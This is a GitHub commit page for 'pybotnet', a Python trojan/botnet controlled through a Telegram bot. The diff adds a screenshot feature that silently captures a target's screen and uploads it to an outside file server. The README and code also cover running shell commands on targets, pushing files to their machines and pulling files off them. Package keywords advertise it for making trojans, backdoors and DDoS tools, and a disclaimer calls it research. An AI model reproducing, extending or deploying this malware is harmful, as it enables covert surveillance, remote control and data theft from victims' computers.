Skip to content

Commit

Permalink
Merge pull request #2 from onionj/develop
Browse files Browse the repository at this point in the history
Develop screenshot
  • Loading branch information
onionj authored Jul 22, 2021
2 parents a0fafc8 + 68d5f7d commit bc52313
Show file tree
Hide file tree
Showing 7 changed files with 137 additions and 29 deletions.
8 changes: 6 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,8 +14,10 @@
</p>
</p>

> Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf.
> See the [TODO List](https://github.com/onionj/pybotnet/blob/master/TODOLIST.MD) if you want to *help* me 💕 \
[Persian document](https://vrgl.ir/G2i6b) داکیومنت فارسی

### Features:
Expand All @@ -26,6 +28,7 @@
* get ls (dirctory list)
* export file to targets system
* import file from target system
* get screenshot

for more, see commands table end of this page

Expand Down Expand Up @@ -76,6 +79,7 @@ while True:

> Send this COMMANDs to your api bot in telegram, using the admin account.
> for run command on one target: `<Target_MAC_Address> <command>` `66619484755211 get_info`

COMMAND | Sample | DO THIS | Minimum version required | tested on |
Expand All @@ -85,9 +89,9 @@ COMMAND | Sample | DO THIS | Minimum version required | tested on |
`cmd <system command>` | `cmd mkdir new_folder` | run system command in shell or cmd (Be careful not to give endless command like `ping google.com -t` in windows or `ping google.com` in linux) TODO:add timeout| 0.07 | windows, linux|
`ls <route>` | `ls C:\ `,` ls /home` |Returns a list of folders and files in that path | 0.09 | windows, linux |
`export_file <link>` | `export_file https://github.com/onionj/pybotnet/archive/refs/heads/master.zip` |target donwload this file and save to script path route| 0.14 | windows linux|
`import_file <file_route>` |`import_file /home/onionj/folder/somting.png` | get a file from target system (limit:5GB)| 0.17.0 | linux|
`import_file <file_route>` |`import_file /home/onionj/folder/somting.png` | get a file from target system (limit:5GB)| 0.17.0 | windows, linux|
`screenshot` | `screenshot` | Takes a screenshot, uploads it to the online server and return the download link | 0.18.1 | windows, linux |



> for run command on one target: `<Target_MAC_Address> <command>` `66619484755211 get_info`

55 changes: 51 additions & 4 deletions pybotnet/scripts.py
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,8 @@
"cmd": "cmd <command>",
"ls": "ls <route>",
"export_file": "export_file <download link>",
"import_file": "import_file <file route>"
"import_file": "import_file <file route>",
"screenshot": "screenshot"
}

# "import_file": "import_file <route>"
Expand Down Expand Up @@ -66,11 +67,16 @@ def execute_scripts(command: str, pybotnet_up_time, is_shell: bool, logger):

elif command_name == 'ls':
return execute_ls(command, logger)

elif command_name == 'export_file':
return execute_download_manager(command, logger)

elif command_name == 'import_file':
return execute_upload_manager(command, logger)

elif command_name == 'screenshot':
return screenshot(logger)

logger.error('execute_scripts invalid command; Wrong format')
return f"execute_scripts invalid command; Wrong format \n\n scripts name:\n {','.join(scripts_name)}"

Expand Down Expand Up @@ -228,16 +234,57 @@ def upload_manager(file_route: str, logger):

if is_true:
try:
# open zip file and read binary
with open(zip_file_name, 'rb') as file:
binary_file = file.read()
is_true, download_data = util.upload_server_1(
binary_file, zip_file_name, logger)
try:
# remove zip file
os.remove(zip_file_name)
if is_true:
return True, download_data
return False, 'Upload Failed'
except Exception as error:
logger.error('script.upload_manager.remove file error!')

if is_true:
# if uploada True
logger.info(f'{zip_file_name} file uploaded')
return True, download_data

return False, 'Upload Failed'

except Exception as error:
logger.error(f'upload_manager: {error}')
return False, 'Upload Failed'
return False, 'file not found'


def screenshot(logger):
''' get screenshot and return screenshot download link '''
screen_file_route = util.screenshot_pil(logger)

if screen_file_route:
try:
# open png file and read binary
with open(screen_file_route, 'rb') as file:
binary_file = file.read()
is_true, download_data = util.upload_server_1(
binary_file, screen_file_route, logger, time_out=120, file_type='png')
try:
# remove png file
os.remove(screen_file_route)
except Exception as error:
logger.error(
'script.upload_manager.remove screenshot file error!')

if is_true:
# if upload True
logger.info('screenshot uploaded.')
return download_data
else:
return 'Upload screenshot Failed'
except Exception as error:
logger.error(f'scripts.screenshot.upload_manager: {error}')
return f'Upload Failed: \nupload_manager Exception:{error}'
else:
logger.error('script.screenshot in util.screenshot_pil Failed')
return 'get screenshot Failed'
2 changes: 1 addition & 1 deletion pybotnet/settings.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@

pybotnet_version = '0.17.0'
pybotnet_version = '0.18.1'
pybotnet_github_link = 'https://github.com/onionj/pybotnet'
pybotnet_license = 'GNU Lesser General Public License v3 or later (LGPLv3+)'
pybotnet_pypi_link = 'https://pypi.org/project/pybotnet/'
Expand Down
43 changes: 31 additions & 12 deletions pybotnet/util.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,11 +9,12 @@
import platform
import time
import zipfile
import os

from os import getcwd, getpid, path, remove
from socket import gethostname, gethostbyname
from uuid import getnode as get_system_mac_addres
from bs4 import BeautifulSoup
from PIL import ImageGrab


def get_current_epoc_time() -> float:
Expand Down Expand Up @@ -82,8 +83,8 @@ def get_full_system_info(pybotnet_uptime=None) -> str:
full_system_info = f"""{get_short_system_info()}
pybotnet up time: {pybotnet_uptime} Seconds
local ip: {get_host_name_ip()}
current route: {getcwd()}
pid: {getpid()}
current route: {os.getcwd()}
pid: {os.getpid()}
pybotnet version: {settings.pybotnet_version}
-----------------------"""

Expand Down Expand Up @@ -276,37 +277,37 @@ def make_zip_file(route, logger, delete_input_file=False):
'''

# input: /home/onion/text.py ooutput: text.zip
new_file_name = path.splitext(path.basename(route))[0]
new_file_name = os.path.splitext(os.path.basename(route))[0]
new_file_name = f'{new_file_name}.zip'

if not path.isfile(route):
if not os.path.isfile(route):
logger.error('make_zip_file: is not a file')
return False, 'None'
return False, 'make_zip_file: is not a file'

try:
with zipfile.ZipFile(new_file_name, "w", compression=zipfile.ZIP_DEFLATED) as zf:
zf.write(route, path.basename(route))
zf.write(route, os.path.basename(route))

logger.info(
f'make_zip_file: The file was successfully zipped, file name {new_file_name}')

if delete_input_file:
remove(route)
os.remove(route)

return True, new_file_name

except Exception as error:
logger.error(f'make_zip_file: {error}')
return False, error
return False, str(error)


def conver_json_to_dict(json_data: json) -> dict:
'''loads json data and convert to a dict'''
return json.loads(json_data)


def upload_server_1(file: bytes, file_name: str, logger, time_out: int = 1200):
# time_out 1200: 20 min
def upload_server_1(file: bytes, file_name: str, logger, time_out: int = 1200, file_type: str = 'zip'):
# time_out 1200 s == 20 min
'''api for upload zip file and return download link \n
this use in commands: import_file, screen_shut, key_loger,.. \n
its not safe for file transfer!
Expand Down Expand Up @@ -352,7 +353,7 @@ def upload_server_1(file: bytes, file_name: str, logger, time_out: int = 1200):
finalise_headers = {
'fuid': FUID,
'file_name': file_name,
'file_type': 'zip',
'file_type': file_type,
'total_chunks': 1
}

Expand All @@ -376,3 +377,21 @@ def upload_server_1(file: bytes, file_name: str, logger, time_out: int = 1200):
except Exception as error:
logger.error(f'upload_server_1.extract download link error: {error}')
return False, 'None'


def screenshot_pil(logger, route: str = ''):
'''get a sreenshot and save to file , return file name or False'''
try:
file_name = str(get_current_epoc_time()).replace('.', '_')
file = open(f'{route}{file_name}.png', 'wb')

screenshot = ImageGrab.grab()
# Save the image to the file object as a PNG
screenshot.save(file, 'PNG')

file.close()
return f'{file_name}.png'

except Exception as error:
logger.info(f'util.screenshot_pil error: {error}')
return False
10 changes: 8 additions & 2 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -1,2 +1,8 @@
requests
beautifulsoup4
beautifulsoup4==4.9.3
certifi==2021.5.30
charset-normalizer==2.0.3
idna==3.2
Pillow==8.3.1
requests==2.26.0
soupsieve==2.2.1
urllib3==1.26.6
37 changes: 33 additions & 4 deletions requirements_dev.txt
Original file line number Diff line number Diff line change
@@ -1,4 +1,33 @@
twine
requests
beautifulsoup4
autopep8
autopep8==1.5.7
beautifulsoup4==4.9.3
bleach==3.3.1
certifi==2021.5.30
cffi==1.14.6
charset-normalizer==2.0.3
colorama==0.4.4
cryptography==3.4.7
docutils==0.17.1
idna==3.2
importlib-metadata==4.6.1
jeepney==0.7.0
keyring==23.0.1
packaging==21.0
Pillow==8.3.1
pkginfo==1.7.1
pycodestyle==2.7.0
pycparser==2.20
Pygments==2.9.0
pyparsing==2.4.7
readme-renderer==29.0
requests==2.26.0
requests-toolbelt==0.9.1
rfc3986==1.5.0
SecretStorage==3.3.1
six==1.16.0
soupsieve==2.2.1
toml==0.10.2
tqdm==4.61.2
twine==3.4.2
urllib3==1.26.6
webencodings==0.5.1
zipp==3.5.0
11 changes: 7 additions & 4 deletions setup.py
Original file line number Diff line number Diff line change
Expand Up @@ -21,12 +21,15 @@
REQUIRES_PYTHON = '>=3.6.0'
VERSION = pybotnet_version
KEYWORDS = ['onionj pybotnet', 'make python trojan',
'make python backdoor', 'make python botnet', 'pybotnet']
'make python backdoor', 'make python botnet',
'pybotnet', 'python ddos', 'python backdoor',
'python trojan']


# What packages are required for this module to be executed?
REQUIRED = ['requests', 'beautifulsoup4'
]
with open("requirements.txt") as f:
dependencies = f.read().splitlines()


# What packages are optional?
EXTRAS = {
Expand Down Expand Up @@ -106,7 +109,7 @@ def run(self):
# entry_points={
# 'console_scripts': ['mycli=mymodule:cli'],
# },
install_requires=REQUIRED,
install_requires=dependencies,
extras_require=EXTRAS,
include_package_data=True,
license='gpl-3.0',
Expand Down

0 comments on commit bc52313

Please sign in to comment.